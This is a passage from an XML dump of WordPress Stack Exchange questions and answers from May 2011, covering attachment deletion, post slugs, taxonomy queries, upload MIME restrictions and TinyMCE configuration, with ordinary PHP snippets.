&#xA;published&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I used this code to call the posts with attached image that are pending:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php the_ID(); ?&amp;gt; &amp;lt;?php $args = array(&#xA;            'numberposts' =&amp;gt; 1, //the amount of images to retrieve&#xA;            'post_type' =&amp;gt; 'attachment', //defined post type&#xA;            'status' =&amp;gt; 'pending', //the status of the post (draft, published, etc)&#xA;            'post_mime_type' =&amp;gt; 'image', //e.g. image, video, video/mp4&#xA;            'post_parent' =&amp;gt; $post-&amp;gt;ID //the ID of the post we want to use&#xA;        );&#xA;&#xA;        $images = &amp;amp;get_children($args); //post is the parent, and attachments are  &#xA;children of parent.  Get the children&#xA;        foreach ( (array) $images as $attachment_id =&amp;gt; $attachment ) { //loop through &#xA;the post attachments&#xA;        foreach($images as $image) {&#xA;        $attachments = get_posts($args);&#xA;if ($attachments) {&#xA;foreach ($attachments as $attachment) {&#xA;wp_delete_attachment( $attachment-&amp;gt;ID );&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;a class=&quot;for-image&quot; href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php &#xA;the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php   $attachment=wp_get_attachment_image_src($attachment_id, 'thumbnail', ''); ?&amp;gt;   &#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $attachment[0]; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;  &amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that I used this code to create a delete link wich deletes the post but not the images attached:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;?delete=&amp;lt;?php the_ID(); ?&amp;gt;&amp;amp;writer=&amp;lt;?php the_author_meta('ID'); ?&#xA;&amp;gt;&quot;&amp;gt;Delete&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank You all for Your help in advance!&lt;/p&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-05-24T10:57:45.453" Title="How to permanently delete image attachments from server FRONT END" Tags="&lt;php&gt;&lt;attachments&gt;&lt;image&gt;&lt;deleted&gt;" />
  <row Id="18107" PostTypeId="1" AcceptedAnswerId="18108" CreationDate="2011-05-24T11:17:53.507" Score="1" ViewCount="78" Body="&lt;p&gt;When you create a post in WP, if you don't specify a title rapidly, WP generates a default slug on autosave, based on the post ID. Then, when you add the title later, unless you modify the slug by editing it, it remains the same (based on post ID)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is add an action on post publish, that generates and saves the post slug, based on the post title.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-05-30T00:39:42.667" Title="How can I automatically set a post slug based on the post title during post publish?" Tags="&lt;slug&gt;&lt;publish&gt;&lt;add-action&gt;&lt;post-editor&gt;" AnswerCount="1" />
  <row Id="18108" PostTypeId="2" ParentId="18107" CreationDate="2011-05-24T11:26:07.390" Score="3" ViewCount="" Body="&lt;p&gt;As long as haven’t touched the slug WordPress will generate a new one after you entered a title.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To change other peoples slugs use a filter (not tested!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_insert_post_data', 'prevent_numeric_slugs', 10, 1 );&#xA;&#xA;function prevent_numeric_slugs( $post_data )&#xA;{&#xA;    if ( ! isset ( $post_data['post_title'] ) &#xA;        or ! is_numeric( $post_data['post_name'] ) &#xA;    )&#xA;    {   // exit early&#xA;        return $post_data;&#xA;    }&#xA;&#xA;    // post_name is the slug&#xA;    $post_data['post_name'] = sanitize_title( $post_data['post_title'] );&#xA;&#xA;    return $post_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-24T12:02:37.253" LastActivityDate="2011-05-24T12:02:37.253" CommentCount="2" />
  <row Id="18109" PostTypeId="1" CreationDate="2011-05-24T11:48:15.540" Score="2" ViewCount="32" Body="&lt;p&gt;I followed the gsoc project last year from Jon Stacey with great interest only to find out that this project was just the 'base' for a working solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gsoc2010.wordpress.com/tag/stream-wrappers/&quot; rel=&quot;nofollow&quot;&gt;http://gsoc2010.wordpress.com/tag/stream-wrappers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, it seems the project is not part of gsoc this year so the project is somewhat orphaned right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;Is anyone aware of any completed php stream wrapper for wordpress?&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-05-24T11:48:15.540" Title="PHP 5+ stream wrappers with the underlying WordPress File API?" Tags="&lt;php&gt;" />
  <row Id="18110" PostTypeId="1" CreationDate="2011-05-24T05:17:40.143" Score="1" ViewCount="38" Body="&lt;p&gt;I noticed that if you go to &lt;a href=&quot;http://lostlettermen.com/aa&quot; rel=&quot;nofollow&quot;&gt;lostlettermen.com/aa&lt;/a&gt;, it redirects to a post.  Is this a feature in WordPress that can be turned off, or is this done by some type of plugin or custom code?  &lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T19:22:00.990" LastActivityDate="2011-05-27T19:22:00.990" Title="Is Auto Post recognition a WordPress feature? How to turn it off?" Tags="&lt;php&gt;&lt;redirect&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18111" PostTypeId="1" CreationDate="2011-05-24T12:14:10.557" Score="0" ViewCount="33" Body="&lt;p&gt;Here's my code for the custom excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ahc_excerpt() {&#xA;    global $post;   &#xA;    $n = 90;&#xA;    $excerpt = strip_tags(strip_shortcodes(get_the_content()));&#xA;    $len = strlen($excerpt);&#xA;    if ($len &amp;gt; $n) {&#xA;       preg_match('/(.{' . $n . '}.*?)\b/', $excerpt, $matches);&#xA;        $new_excerpt = rtrim($matches[1]) . $delim;&#xA;        if(str_replace($delim,'',$new_excerpt) == $excerpt) $new_excerpt = $excerpt;&#xA;        return $new_excerpt.' &amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;Continue...&amp;lt;/a&amp;gt;';&#xA;    } else {&#xA;        return $excerpt;    &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the page it's referring to - &lt;a href=&quot;http://dev.africanhopecrafts.org&quot; rel=&quot;nofollow&quot;&gt;http://dev.africanhopecrafts.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it was working properly but not it's not coming our right. Any help would be greatly appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2011-05-24T12:14:10.557" Title="Custom Excerpt Not Working Consistently" Tags="&lt;customization&gt;&lt;excerpt&gt;" CommentCount="1" />
  <row Id="18112" PostTypeId="2" ParentId="18080" CreationDate="2011-05-24T12:32:46.340" Score="1" ViewCount="" Body="&lt;p&gt;Put everything into WordPress. This way, you can &lt;strong&gt;search&lt;/strong&gt; your entire content from the built-in search engine, and you can edit each piece.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need pages with special markup create templates for your theme. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Naked Template&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * Template Name: Naked&#xA; *&#xA; * That’s the complete template!&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Basic HTML5&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * Template Name: Basic HTML5&#xA; */&#xA;?&amp;gt;&#xA;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;meta charset=&quot;&amp;lt;?php bloginfo( 'charset' ); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php wp_title( '' ); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;?php&#xA;while ( have_posts() )&#xA;{&#xA;    the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php&#xA;    the_content();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Import&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To import your old HTML pages use the &lt;a href=&quot;http://wordpress.org/extend/plugins/import-html-pages/&quot; rel=&quot;nofollow&quot;&gt;plugin Import HTML Pages&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-24T15:20:34.150" LastActivityDate="2011-05-24T15:20:34.150" CommentCount="3" />
  <row Id="18113" PostTypeId="1" CreationDate="2011-05-24T12:48:22.047" Score="0" ViewCount="111" Body="&lt;p&gt;In my taxonomy.php, my query is `      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );  &#xA;  $wpq = array ('posts_per_page' =&amp;gt; -1, $term-&amp;gt;taxonomy =&amp;gt; $term-&amp;gt;slug, 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'slug');&#xA;  $loop = new WP_Query($wpq);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It correctly retrieves the &lt;strike&gt;droids&lt;/strike&gt; posts I am looking for, but does not &lt;code&gt;orderby&lt;/code&gt; &lt;code&gt;slug&lt;/code&gt;. I can't find &lt;code&gt;slug&lt;/code&gt; as an option in the documentation any more, but I swear I have successfully used it before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;code&gt;'orderby' =&amp;gt; 'name'&lt;/code&gt; appears to work in 1 category but not in my other category (so far, there are only 2). I'm wondering if the category where it does work is just coincidence...&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-05-24T20:16:09.780" LastActivityDate="2011-05-24T20:16:09.780" Title="Can you orderby slug in a taxonomy archive page using WP_Query?" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;template&gt;&lt;archive&gt;" CommentCount="1" />
  <row Id="18114" PostTypeId="1" AcceptedAnswerId="18123" CreationDate="2011-05-24T13:16:35.147" Score="0" ViewCount="178" Body="&lt;p&gt;Is there a way in WordPress 3.1 to restrict allowed file uploads by extension (images only) and file size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question: Can I limit users to only be able view files they have uploaded themselves?&lt;/p&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T06:21:40.080" LastActivityDate="2011-05-30T06:21:40.080" Title="Restrict file uploads by extension?" Tags="&lt;uploads&gt;&lt;media-library&gt;&lt;tinymce&gt;&lt;visual-editor&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18115" PostTypeId="1" AcceptedAnswerId="18125" CreationDate="2011-05-24T13:24:26.593" Score="0" ViewCount="76" Body="&lt;p&gt;How can I limit html elements allowed in the tinymce editor in Wordpress 3.1 and ensure harmful scripts have been removed (script/embed tags, etc)&lt;/p&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2011-05-24T15:38:37.810" Title="Limiting allowed html elements/strip harmful scripts from editor" Tags="&lt;3.1&gt;&lt;tinymce&gt;&lt;visual-editor&gt;&lt;post-editor&gt;" AnswerCount="1" />
  <row Id="18116" PostTypeId="1" AcceptedAnswerId="18120" CreationDate="2011-05-24T13:29:07.227" Score="1" ViewCount="395" Body="&lt;p&gt;I am using the code below to display posts defined as a custom-post-type and filtered by a custom-taxonomy of 'england'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using 'posts_per_page=5' in the query_posts function but this brings up a completely different set of posts from one of my post categories of type 'news'.  When I remove the posts-per-page from the query, it returns the listings I want but it defaults to the default 10 set within the Wordpress Settings.  How do I override it in the code below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php query_posts( array( 'country' =&amp;gt; 'event-england') ); ?&amp;gt;&#xA;        &amp;lt;?php if( is_tax() ) {&#xA;            global $wp_query;&#xA;            $term = $wp_query-&amp;gt;get_queried_object();&#xA;            $title = $term-&amp;gt;name;&#xA;        }  ?&amp;gt;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2011-05-24T14:37:03.190" Title="Limit the number of posts in query_posts function with custom post types" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18117" PostTypeId="1" CreationDate="2011-05-24T13:44:17.330" Score="0" ViewCount="144" Body="&lt;p&gt;I registered 2 taxonomies: &lt;code&gt;festival_year&lt;/code&gt; and &lt;code&gt;art_genre&lt;/code&gt;. I would like users to search for a specific year and genre but am not sure the best way to do this.&#xA;I have tried various plugins but none have worked.&#xA;I was able to create separate files, like &lt;code&gt;taxonomy-art_genre-consumable-crafts.php&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$festivalquery = wp_parse_args($query_string);&#xA;$festivalquery['tax_query'] = array(&#xA;    'showposts' =&amp;gt; 10 ,&#xA;    'orderby' =&amp;gt; 'title',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'relation' =&amp;gt; 'AND',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'festival_year',&#xA;        'terms' =&amp;gt; array('2010-artists'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'art_genre',&#xA;        'terms' =&amp;gt; array('consumable-crafts'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;);&#xA;query_posts($festivalquery);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me the query I'm looking for. However, there are 11 genres (and of course there will be multiple years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of creating separate page templates, what is the best way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test site: &lt;a href=&quot;http://www.beta.cornhillartsfestival.com/artists/&quot; rel=&quot;nofollow&quot;&gt;http://www.beta.cornhillartsfestival.com/artists/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much! &lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-24T15:53:54.150" LastActivityDate="2011-08-23T06:33:42.733" Title="Query Multiple Custom Taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;query&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="18118" PostTypeId="2" ParentId="18079" CreationDate="2011-05-24T13:47:22.707" Score="0" ViewCount="" Body="&lt;p&gt;This should work within your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_field( 'post_parent', $id )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-24T13:47:22.707" CommentCount="1" />
  <row Id="18120" PostTypeId="2" ParentId="18116" CreationDate="2011-05-24T14:37:03.190" Score="1" ViewCount="" Body="&lt;p&gt;Something like this is what you need. The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;Codex page for WP_Query&lt;/a&gt; is very helpful&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('post_type' =&amp;gt; '&amp;lt;your custom post type name&amp;gt;',&#xA;              'posts_per_page' =&amp;gt; 5,&#xA;               'tax_query' =&amp;gt; array(&#xA;                                array(&#xA;                                  'taxonomy' =&amp;gt; '&amp;lt;your custom taxonomy name&amp;gt;',&#xA;                                  'field' =&amp;gt; 'slug',&#xA;                                  'terms' =&amp;gt; 'event-england'&#xA;                                 )&#xA;                           )&#xA;         )&#xA;&#xA;$query = new WP_Query($args)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-24T14:37:03.190" />
  <row Id="18121" PostTypeId="1" AcceptedAnswerId="18162" CreationDate="2011-05-24T14:47:31.977" Score="1" ViewCount="142" Body="&lt;p&gt;Is there a way to delete a Post From Front-End and it's attachments permanently? This is a snippet that moves the post to the trash can, but it doesn't remove attached images (they remain on the server) and it doesn't remove the post permanently? Could someone please help?    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$url = get_bloginfo('url');&#xA;if (current_user_can('edit_post', $post-&amp;gt;ID)){&#xA;echo '&amp;lt;a class=&quot;delete-post&quot; href=&quot;';&#xA;echo wp_nonce_url(&quot;$url/wp-admin/post.php?action=delete&amp;amp;post=$id&quot;, 'delete-post_' . $post- &#xA;&amp;gt;ID);&#xA;echo '&quot;&amp;gt;Delete post&amp;lt;/a&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-06-24T00:16:46.863" Title="Delete Post From Front-End and attachment permanently" Tags="&lt;posts&gt;&lt;functions&gt;&lt;post-thumbnails&gt;&lt;deleted&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18122" PostTypeId="1" AcceptedAnswerId="18133" CreationDate="2011-05-24T15:03:42.670" Score="1" ViewCount="57" Body="&lt;p&gt;I'd like to have a custom field interface show up &lt;em&gt;only&lt;/em&gt; when a certain template is assigned to a particular WordPress page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-05-24T17:50:20.477" Title="Admin Conditional - If template is assigned" Tags="&lt;wp-admin&gt;&lt;conditional-tags&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="18123" PostTypeId="2" ParentId="18114" CreationDate="2011-05-24T15:13:50.617" Score="1" ViewCount="" Body="&lt;p&gt;I believe you can add a filter to &lt;code&gt;upload_mimes&lt;/code&gt; to restrict to certain types.&#xA;The hook: &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/upload_mimes&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/hook/upload_mimes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('upload_mimes','restict_mime'); &#xA;&#xA;function restict_mime($mimes) { &#xA;$mimes = array( &#xA;                'jpg|jpeg|jpe' =&amp;gt; 'image/jpeg', &#xA;                'gif' =&amp;gt; 'image/gif', &#xA;                'png' =&amp;gt; 'image/png', &#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I understand this will not work for admins or any user with the &lt;code&gt;unfiltered_upload&lt;/code&gt; &#xA;capability.&#xA;Also have a look at this post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8107/limit-image-upload-to-one-and-disable-audio-video-and-other-document-file-types&quot;&gt;Limit image upload to one and disable audio, video and other document file types to upload.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative to control size limit would be to use .htaccess or php.ini:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For upload limit you can set in .htaccess one of the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LimitRequestBody 1073741824  //( 1MB)&#xA;php_value upload_max_filesize 1M&#xA;php_value post_max_size 1M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For php.ini you can set &lt;code&gt;upload_max_filesize = 1M&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-30T05:52:28.917" LastActivityDate="2011-05-30T05:52:28.917" />
  <row Id="18124" PostTypeId="2" ParentId="18117" CreationDate="2011-05-24T15:15:47.383" Score="0" ViewCount="" Body="&lt;p&gt;First, to make sure I understand the general premise, are you wanting to know how to avoid making a separate template for each genre and year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, I click a link to view the &quot;consumable crafts&quot; genre. It loads up all the consumable crafts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're wanting to just make a &quot;genre&quot; template, for instance &quot;taxonomy-art_genre.php&quot;, then what you want is to create that file, pull in your query, and replace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'terms' =&amp;gt; array('consumable-crafts'),&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'terms' =&amp;gt; get_query_var( 'term' )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will load the term, as a slug, based on the term their viewing. Thus, going to &lt;a href=&quot;http://www.beta.cornhillartsfestival.com/art_genre/consumable-crafts/&quot; rel=&quot;nofollow&quot;&gt;http://www.beta.cornhillartsfestival.com/art_genre/consumable-crafts/&lt;/a&gt; would load taxonomy-art_genre.php and the &quot;term&quot; that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;get_query_var&lt;/a&gt; would return is &quot;consumable-crafts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, are you wanting to have a page that will show you a particular &lt;em&gt;genre&lt;/em&gt; in a particular &lt;em&gt;year&lt;/em&gt;? That's a bit of a different animal, but it can also be solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this is the answer you were looking for.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-05-24T15:15:47.383" CommentCount="3" />
  <row Id="18125" PostTypeId="2" ParentId="18115" CreationDate="2011-05-24T15:38:37.810" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Adjust HTML-Filter:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function fb_change_mce_options($initArray) {&#xA;    // Comma separated string od extendes tags&#xA;    // Command separated string of extended elements&#xA;    $ext = 'pre[id|name|class|style],iframe[align|longdesc|name|width|height|frameborder|scrolling|marginheight|marginwidth|src]';&#xA;    if ( isset( $initArray['extended_valid_elements'] ) ) {&#xA;        $initArray['extended_valid_elements'] .= ',' . $ext;&#xA;    } else {&#xA;        $initArray['extended_valid_elements'] = $ext;&#xA;    }&#xA;    // maybe; set tiny paramter verify_html&#xA;    //$initArray['verify_html'] = false;&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'fb_change_mce_options');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Customizing the function of the buttons in your Editor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function fb_change_mce_buttons( $initArray ) {&#xA;    //@see http://wiki.moxiecode.com/index.php/TinyMCE:Control_reference&#xA;    $initArray['theme_advanced_blockformats'] = 'p,address,pre,code,h3,h4,h5,h6';&#xA;    $initArray['theme_advanced_disable'] = 'forecolor';&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'fb_change_mce_buttons');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Change language of spelling:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function fb_mce_external_languages($initArray){&#xA;    $initArray['spellchecker_languages'] = '+German=de, English=en';&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'fb_mce_external_languages');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The default values of WordPress:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'mode' =&amp;gt; 'specific_textareas'&#xA;'editor_selector' =&amp;gt; 'theEditor'&#xA;'width' =&amp;gt; '100%'&#xA;'theme' =&amp;gt; 'advanced'&#xA;'skin' =&amp;gt; 'wp_theme'&#xA;'theme_advanced_buttons1' =&amp;gt; 'bold,italic,strikethrough,|,bullist,numlist,blockquote,|,justifyleft,justifycenter,justifyright,|,link,unlink,wp_more,|,spellchecker,fullscreen,wp_adv'&#xA;'theme_advanced_buttons2' =&amp;gt; 'formatselect,underline,justifyfull,forecolor,|,pastetext,pasteword,removeformat,|,media,charmap,|,outdent,indent,|,undo,redo,wp_help'&#xA;'theme_advanced_buttons3' =&amp;gt; ''&#xA;'theme_advanced_buttons4' =&amp;gt; ''&#xA;'language' =&amp;gt; 'de'&#xA;'spellchecker_languages' =&amp;gt; 'English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,+German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv'&#xA;'theme_advanced_toolbar_location' =&amp;gt; 'top'&#xA;'theme_advanced_toolbar_align' =&amp;gt; 'left'&#xA;'theme_advanced_statusbar_location' =&amp;gt; 'bottom'&#xA;'theme_advanced_resizing' =&amp;gt; true&#xA;'theme_advanced_resize_horizontal' =&amp;gt; false&#xA;'dialog_type' =&amp;gt; 'modal'&#xA;'relative_urls' =&amp;gt; false&#xA;'remove_script_host' =&amp;gt; false&#xA;'convert_urls' =&amp;gt; false&#xA;'apply_source_formatting' =&amp;gt; false&#xA;'remove_linebreaks' =&amp;gt; true&#xA;'gecko_spellcheck' =&amp;gt; true&#xA;'entities' =&amp;gt; '38,amp,60,lt,62,gt'&#xA;'accessibility_focus' =&amp;gt; true&#xA;'tabfocus_elements' =&amp;gt; 'major-publishing-actions'&#xA;'media_strict' =&amp;gt; false&#xA;'paste_remove_styles' =&amp;gt; true&#xA;'paste_remove_spans' =&amp;gt; true&#xA;'paste_strip_class_attributes' =&amp;gt; 'all'&#xA;'wpeditimage_disable_captions' =&amp;gt; false&#xA;'plugins' =&amp;gt; 'safari,inlinepopups,spellchecker,paste,wordpress,media,fullscreen,wpeditimage,wpgallery,tabfocus'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you. You should be able to change just about anything you like.&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-24T15:38:37.810" />
  <row Id="18127" PostTypeId="1" AcceptedAnswerId="18138" CreationDate="2011-05-24T16:08:22.427" Score="0" ViewCount="86" Body="&lt;p&gt;I am currently looking for a way to replicate the image I have below. I have come across many tabbed content plugin's and snippets of code, but I cannot figure out how to add different background images to each tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/H9QBw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-05-24T20:43:03.370" Title="tabbed content box with different tabbed background images" Tags="&lt;content&gt;" AnswerCount="1" />
  <row Id="18129" PostTypeId="1" AcceptedAnswerId="18135" CreationDate="2011-05-24T16:44:31.097" Score="9" ViewCount="199" Body="&lt;p&gt;I have been using WordPress for several years, but have yet to see a reason to employ tags over categories or tags with categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the thinking behind the two, and when are each appropriate?&lt;/p&gt;&#xA;" OwnerUserId="5173" LastActivityDate="2011-05-24T20:42:52.880" Title="What is the difference between a &quot;tag&quot; and a &quot;category&quot;?" Tags="&lt;categories&gt;&lt;tags&gt;" AnswerCount="4" />
